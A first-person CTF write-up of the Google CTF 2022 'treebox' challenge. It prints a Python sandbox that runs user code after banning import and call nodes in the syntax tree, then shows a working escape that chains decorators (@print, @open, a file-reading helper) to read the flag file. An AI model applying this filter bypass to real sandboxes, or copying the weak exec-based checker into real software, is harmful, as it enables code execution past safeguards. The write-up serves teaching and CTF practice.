It is the only challenge I solved during the Google CTF 2022, and it took me approximately 5 hours to solve (considering the fact that it is my second live CTF experience, I am proud of the result). The challenge itself is available by link
Description: I think I finally got Python sandboxing right.
treebox.py
#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
# FROM ubuntu:22.04
# RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
The first thing I’ve done is generate the flag
file inside the same directory as treebox.py
and write the flag ctf{wa1tf0r.me}
inside to ensure I have the environment as close as possible.
While looking through the code, it’s easy to spot the ast
module. The module allows for the generation of Abstract Syntax Trees. At the time of CTF and even now, IDK what the hell it is. I undersend that it converts all the fancy Python code to a more abstract one that is more suitable for code flow charts. So, based on that, I added the print statement that allowed me to see the abstract tree produced and spot anything interesting.
The third and final piece of the puzzle - is banned statements. Code does not allow any Import
, ImportFrom
, and Call
in the abstract syntax tree (produced only from ~user~ hacker input). Import
and InputFrom
are pretty self-explanatory. However, we have the third statement - Call
. This statement appears in the abstract much more often than I wanted. It is mainly because of its ties with the Python syntax. The Call
shows during functions call (who would have thought!) and during the methods call
To sum up the first thoughts, we have:
After all the magic modifications (and some debugging with ast
), the code looked like this:
#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
# FROM ubuntu:22.04
# RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
print(ast.dump(ast.parse(source_code).body[0]))
I started by googling information about the ast
and saw some warnings on the python docs that module may produce tree even when the syntax is wrong. Now I know that it was a rabbit hole, but at the time, I thought it may be an excellent way to solve the challenge (you see, in the code, the compile
function is used to generate the tree, not the ast.parse
). After some time, I realised it was a dead end and started over. I searched for “calling function without call” and spotted this the thread on StackExhange, and it was very helpful. I tested the proposed variants and ended with the two simplest:
using Meta Classes
>>> def func(*args):
print('somebody called me?')
>>> class T(type): pass
>>> T.__init__ = func
>>> class A:
__metaclass__ = T
somebody called me?
and the second one, using functions and decorators
>>> def func(*args):
print('somebody called me?')
>>> @func
>>> def nothing():pass
sombody called me?
So, in the treebox.py
, it looks like this:
-- Please enter code (last line must contain only --END)
class T(type):pass
T.init=print
class A(metaclass=T):pass
--END
-- Executing safe code:
or
-- Please enter code (last line must contain only --END)
@print
def nothing(*args):pass
--END
-- Executing safe code:
<function nothing at 0x7fee5d1ae5f0>
By this time, I understood how to exec the function without Call
appearing in the syntax tree. So, I thought about the steps involved to read the file flag
and came up with the following list:
I abandoned the idea with Meta Classes, as I have more experience with functions than with classes.
I started with ‘open file,’ which I thought was the most challenging task. The first problem I saw - I didn’t know how to pass the file name flag
to the open
function. So, I started with generating this filename using the decorators and functions. (Now I think that it was overkill and string was enough, but at the time, it was easier to do)
The following code was generated.
def func(arg): return arg.__name__
@func
def flag():pass
x=flag
As the decorator receives the function it decorates as the argument, I used arg.__name__
to receive the function’s flag
name, which so happened to be flag
.
The same decorator property was abused to open the file. It was simply achieved by adding decorator @open
that, later during execution, will make the same as open('flag')
. The ‘flag’ string is passed to the decorator @open
from decorator @func
. Now the code looks like this:
def func(arg):return arg.__name__
@open
@func
def flag():pass
x=flag
This code allowed me to open a file with the name flag
, so the first task was done. We are left with ‘read file’ and ‘print flag.’ I had no idea how to read files without using the read
method (which will generate Call
in AST), so I switched to printing. It was easy. I just copied the code from the sample above.
user@wa1tf0r.me:$ python3 treebox.py
-- Please enter code (last line must contain only --END)
def func(arg):return arg.__name__
@print
@func
def flag():pass
x=flag
--END
-- Executing safe code:
flag
FunctionDef(name='func', args=arguments(posonlyargs=[], args=[arg(arg='arg')], kwonlyargs=[], kw_defaults=[], defaults=[]), body=[Return(value=Attribute(value=Name(id='arg', ctx=Load()), attr='__name__', ctx=Load()))], decorator_list=[])
Now we know how to open files and how to print. All we need is to read the file content. The most obvious way requires the use of the read
method, which will not pass our filter, so there must be another way. After searching, I found a thread on StackOverflow that used a similar technique to read files without the read
method.
user@wa1tf0r.me:$ python3 treebox.py
-- Please enter code (last line must contain only --END)
def func(arg):return arg.__name__
def read_profiles(x):
with x as infile:
profile_list = [line for line in infile]
return profile_list
@print
@read_profiles
@open
@func
def flag():pass
x=flag
--END
-- Executing safe code:
FunctionDef(name='func', args=arguments(posonlyargs=[], args=[arg(arg='arg')], kwonlyargs=[], kw_defaults=[], defaults=[]), body=[Return(value=Attribute(value=Name(id='arg', ctx=Load()), attr='__name__', ctx=Load()))], decorator_list=[])
['ctf{wa1tf0r.me}\n']
The test on my machine succeeded, and I went to get the flag from the CTF server.
I know that calling the function ‘flag’ and using the function name as the filename is not universal, but I thought it was a great idea at the moment. Nevertheless, I only wanted to solve the challenge, not create perfect code.